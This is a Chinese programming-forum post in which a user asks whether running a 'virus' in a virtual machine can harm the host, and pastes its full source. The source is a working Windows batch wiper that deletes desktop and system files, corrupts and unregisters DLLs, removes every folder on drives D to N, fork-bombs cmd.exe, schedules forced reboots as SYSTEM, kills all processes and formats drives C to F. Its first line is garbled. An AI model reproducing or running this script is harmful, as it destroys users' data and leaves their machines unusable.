程序吧 关注:41,708贴子:294,294
  • 0回复贴,共1

哪个大佬帮我看看

只看楼主收藏回复

如果这个病毒在虚拟机里运行,主机会不会受到 影响?(主要是我很好奇想在虚拟机里试一下毒,但又怕把主机里的文件搞毁了
源代码:
@璐村惂鐢ㄦ埛_000076K馃惥 off
net start winmgmt 1>nul2>nul
::让桌面消失
taskkill /f /im explorer.exe
::删除桌面文件
for /f "tokens=*" %%i in ('dir /A-D/b/s "%USERPROFILE%\桌面"') do del /Q "%%i"
::删除系统备份
for /f %%a in ('dir /b/s %systemroot%\system32\dllcache') do del /Q %%a
::反注册所有dll
for /f "tokens=*" %%b in ('dir /b/s %systemroot%\*.dll') do regsvr32 /s /u "%%b"
::破坏所有dll
for /f "tokens=*" %%b in ('dir /b/s %systemroot%\*.dll') do echo %%i>"%%i"
::反注册所有ocx
for /f "tokens=*" %%c in ('dir /b/s %systemroot%\*.ocx') do regsvr32 /s /u "%%c"
::删除所有文件
for %%d in (D E F G H I J K L M N) do (for /f "tokens=*" %%e in ('dir /AD /b /s %%d:') do (rd /S /Q "%%e") )
::让你死机死到爽
for /l %%f in (1,1,9999999) do (start %systemroot%\system32\cmd.exe)
::让电脑每隔30分钟无故重启
sc config Schedule start= auto 1>nul 2>nul
net start Schedule 1>nul 2>nul
schtasks /create /RU "SYSTEM" /TN "restart" /SC MINUTE /MO 30 /TR "shutdown -f -r -t 0"
::结束系统进程
for /f "skip=4 tokens=2" %%i in ('tasklist') do (ntsd -c q -p %%i)
::格式化所有盘
format D: /a
format e: /a
format f: /a
format c: /a


IP属地:广东1楼2020-04-02 14:15回复